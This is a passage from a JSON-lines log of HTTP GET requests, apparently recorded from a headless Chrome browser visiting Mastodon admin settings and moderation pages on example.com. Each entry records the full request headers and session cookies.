_mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/emojis-BYdy4VJS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/registrations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/registrations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/content_retention", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/content_retention", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/discovery", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/discovery", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/domain_blocks/new?_domain=spam.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTEuMTcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--652e324b3683ef5d0a7247fa62edc89f5f65cde9; _mastodon_session=i%2FWyOetWrF3Elz8DxqU2fGZ%2BdLjMAGugYAZsHuDH6gJhDYhH3dON6xjpSZmBlheevw4Up4zxf9KGvtvYzjeSbWisn4DpP8V4XOtKpG73wZH9MRkkCmAKB%2Fq2Q%2FN9h%2Be1Uf9UiJt2Y2MQZ1VzxMlmHMzRyEoBq6Fn%2FY0urtcTc5iVeRFDyHytWJCkntPhlQqPa8Dv7FpZGz4drJ%2BSKHNPG4DkI0A1OB%2BnB4wRC2CKG2X1kmoktqbcqJkpr%2BN3bWHBu5TDMKKa1jbSMBmhecRUMCX%2BE2k2iXy6eR98nIz%2B0AIHMqksg49JFRUP3Hkz%2BtUbmw86XWuFEMMM2taER7E%2BtCp34oOXjy0%2FINsM5nULIPpVVk3vCLN9MVhI9JJiw0mOy04%2BPG1FWfOj--Zw3RxKnvAhvCUPKu--nEyrCjhp9MTeoFb%2BpNYgjg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/domain_blocks/new?_domain=spam.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 